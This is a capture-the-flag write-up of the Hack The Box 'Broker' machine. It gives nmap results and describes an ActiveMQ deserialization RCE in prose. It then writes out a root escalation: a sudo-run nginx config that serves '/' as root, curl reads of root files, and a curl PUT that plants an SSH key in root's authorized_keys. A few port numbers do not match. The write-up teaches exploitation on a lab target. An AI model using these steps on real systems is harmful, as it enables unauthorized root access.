Hack The Box Broker Writeup

As usual we kick off with an enumeration.
mrinspector@kali:~/HTB/Broker$ sudo nmap -sCV -p- --min-rate 10000 10.10.11.243 -oN Broker
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-17 12:17 CEST
Warning: 10.10.11.243 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.243
Host is up (0.058s latency).
Not shown: 63829 closed tcp ports (reset), 1693 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1234/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
1235/tcp open http nginx 1.18.0 (Ubuntu)
| http-ls: Volume /
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| - 06-Nov-2023 01:10 bin/
| - 06-Nov-2023 01:10 bin/X11/
| 963 17-Feb-2020 14:11 bin/NF
| 129576 27-Oct-2023 11:38 bin/VGAuthService
| 51632 07-Feb-2022 16:03 bin/%5B
| 35344 19-Oct-2022 14:52 bin/aa-enabled
| 35344 19-Oct-2022 14:52 bin/aa-exec
| 31248 19-Oct-2022 14:52 bin/aa-features-abi
| 14478 04-May-2023 11:14 bin/add-apt-repository
| 14712 21-Feb-2022 01:49 bin/addpart
|_
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Index of /
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/Consumer/Topic/#:
|_ ActiveMQ/Advisory/MasterBroker:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
8888/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-ls: Volume /
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| - 06-Nov-2023 01:10 bin/
| - 06-Nov-2023 01:10 bin/X11/
| 963 17-Feb-2020 14:11 bin/NF
| 127K 27-Oct-2023 11:38 bin/VGAuthService
| 50K 07-Feb-2022 16:03 bin/%5B
| 35K 19-Oct-2022 14:52 bin/aa-enabled
| 35K 19-Oct-2022 14:52 bin/aa-exec
| 31K 19-Oct-2022 14:52 bin/aa-features-abi
| 14K 04-May-2023 11:14 bin/add-apt-repository
| 14K 21-Feb-2022 01:49 bin/addpart
|_
|_http-title: Index of /
12345/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-ls: Volume /
| maxfiles limit reached (10)
| SIZE TIME FILENAME
| - 06-Nov-2023 01:10 bin/
| - 06-Nov-2023 01:10 bin/X11/
| 963 17-Feb-2020 14:11 bin/NF
| 129576 27-Oct-2023 11:38 bin/VGAuthService
| 51632 07-Feb-2022 16:03 bin/%5B
| 35344 19-Oct-2022 14:52 bin/aa-enabled
| 35344 19-Oct-2022 14:52 bin/aa-exec
| 31248 19-Oct-2022 14:52 bin/aa-features-abi
| 14478 04-May-2023 11:14 bin/add-apt-repository
| 14712 21-Feb-2022 01:49 bin/addpart
|_
|_http-title: Index of /
37983/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
My initial assessment of the ports is:
SSH on 22 will be useful if I find creds.
There’s a website hosted with nginx on 80, but it’s returning a 401 unauthorized.
61613 and 61616 both reference ActiveMQ. The page talks about how it is a Java application uses AMQP and MQTT. These other ports likely supporting it:
Two ports are message queue related, mqtt on 1883 and amqp on 5672.
8161 and 61614 show the Java webserver Jetty.
39751 is unknownI went to enumerate Port 80 first.
After going through some links on the webpage I noticed the version of this ActiveMQ and decided to do a quick research on the version and ActiveMQ in general. ActiveMQ is a very popular open-source message broker. Message brokers are designed to manage communications between different systems (often written in different languages). For example, if a transaction is requested through a bank’s webserver, it may need to contact a different backend server to process that transaction. If the webserver does that on its own, there's a lot of risk for things like outages and missed communications. Instead it might use a message broker that will handle taking the request and making sure it reaches the other server.
Initial Foothold
This version has so many RCE exploits out there and finding one that would fit our needs was crucial or one that would work. I played around with one written in Golang that for some reason did not work for me. And upon further looking I found a Python version that gave us the initial access we needed here. The Python code takes a target IP, port (default 61616), and “Spring XML Url”. It builds a payload which looks like a serialized object, as it starts with a header, then a series of objects that start with their length and then their value. It converts to hex, and send this as a message to ActiveMQ port.
The payload is exploiting a deserialization vulnerability in ActiveMQ, and using a gadget from the Spring to load a remote XML file, which has the ability to run programs. I went ahead and modified the reverse shell line with our own IP address so that we could catch it on netcat.
On our Kali box, I created a Python server to host this payload and at the same time started a netcat listener.
activemq@broker:~$ cat user.txt
cd4ffc*************************
activemq@broker:~$ Privilege Escalation
I had to first check for any binaries that we can run as sudo. And turns out we could run nginx with sudo permissions.
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginxAfter doing some research I found multiple vulnerabilities and how we could escalate our privileges. The concept in this article was to create our own config file that we can feed the binary and thus spin up our own server that can help read certain files and help us PUT or write to files as well. I went ahead and created a config file that would help us read files and test out the waters.
activemq@broker:~$ cat /tmp/nginx.conf
user root;
worker_processes 4;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
}
} This is how our config file looked. We can then run the nginx server and use curl to read files. In this case we can try to read the root flag or find a way to escalate our privileges instead.
We can see that our server is up and running now we can try to read files. We can read the root flag, but the mission is to become root.
activemq@broker:~$ curl localhost:1337/root/root.txt
6493f8************************To allow data to be injected into a file using curl with the HTTP PUT method, we need to configure an Nginx server block to handle PUT requests. This involves setting up an endpoint that can accept PUT requests and write the data to a specified file.
However, Nginx alone cannot handle the writing of files for PUT requests directly; we typically need a module or a script (e.g., using PHP, Python, or another backend) to handle the file writing. Using Nginx with a backend handler (like a CGI script) is one way to achieve this.
For the purpose of simplicity, I'll show you how to set up a basic solution using Nginx with the ngx_http_dav_module module, which supports WebDAV methods, including PUT. So we shall go ahead and modify our config file to include the dav_methods for it to handle our PUT requests.
activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMi/V7QDKf9m715LnqvkkxWLCAkq712vJtUO1rL0wsaq humb3rt0@humb3rt0activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys And yes it worked! Now we upload the ssh key.
activemq@broker:~$ curl -X PUT localhost:1338/root/.ssh/authorized_keys -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZVVVrfeJ4cN1X2F9upjOPngplgTMRAtSx4zC5YVw99DN4T/oDlHTUM3GRAAmVFUNClYu7P0L95XQkMGV/tiapSwbiqAxhHxASLo8XmhEM6LDBAJvi4qu9PduJAxZI/v5b6pbWr1Hr6zaEyk2YA7hkyIiR5wbdYPw+bpS+BS3hW3JSqVWcNGPGL5MXzgPT5cQ7TI/gt/QAm20/RBVL+JLQlLHJRyWyAjQUMbTpao6FNpEp0nGL+ElUOB6CjzjV1pmB9JBt6YhfhGm3CwVdJdWyn2a1qKT/e4vlWunGqWMMYBYTwYDDyn1f/HSKk/lI1e8AmHVFU9ZbE8ZEP0/GOC3n6/wsv8mVw1fABRj9COLJqKVlY1y0/T07YO74n/WUs3acojJGN9Bbu7wBpwBiMgj95O7CTfRNCDgrYZlUbP99HLPyxqOMc1djxMrQdxgjX4tp2u+Ji6/xw4u6kzcSSJ+30zw8GevHkkg+8wzh3aLyIb5lIEhWCiaiHB84Apr+b4s= mrinspector@kali"
activemq@broker:~$ curl localhost:1337/root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZVVVrfeJ4cN1X2F9upjOPngplgTMRAtSx4zC5YVw99DN4T/oDlHTUM3GRAAmVFUNClYu7P0L95XQkMGV/tiapSwbiqAxhHxASLo8XmhEM6LDBAJvi4qu9PduJAxZI/v5b6pbWr1Hr6zaEyk2YA7hkyIiR5wbdYPw+bpS+BS3hW3JSqVWcNGPGL5MXzgPT5cQ7TI/gt/QAm20/RBVL+JLQlLHJRyWyAjQUMbTpao6FNpEp0nGL+ElUOB6CjzjV1pmB9JBt6YhfhGm3CwVdJdWyn2a1qKT/e4vlWunGqWMMYBYTwYDDyn1f/HSKk/lI1e8AmHVFU9ZbE8ZEP0/GOC3n6/wsv8mVw1fABRj9COLJqKVlY1y0/T07YO74n/WUs3acojJGN9Bbu7wBpwBiMgj95O7CTfRNCDgrYZlUbP99HLPyxqOMc1djxMrQdxgjX4tp2u+Ji6/xw4u6kzcSSJ+30zw8GevHkkg+8wzh3aLyIb5lIEhWCiaiHB84Apr+b4s= mrinspector@kali
activemq@broker:~$
And on listing the key it was there and we were ready to login.
And that marks the box. Happy hacking!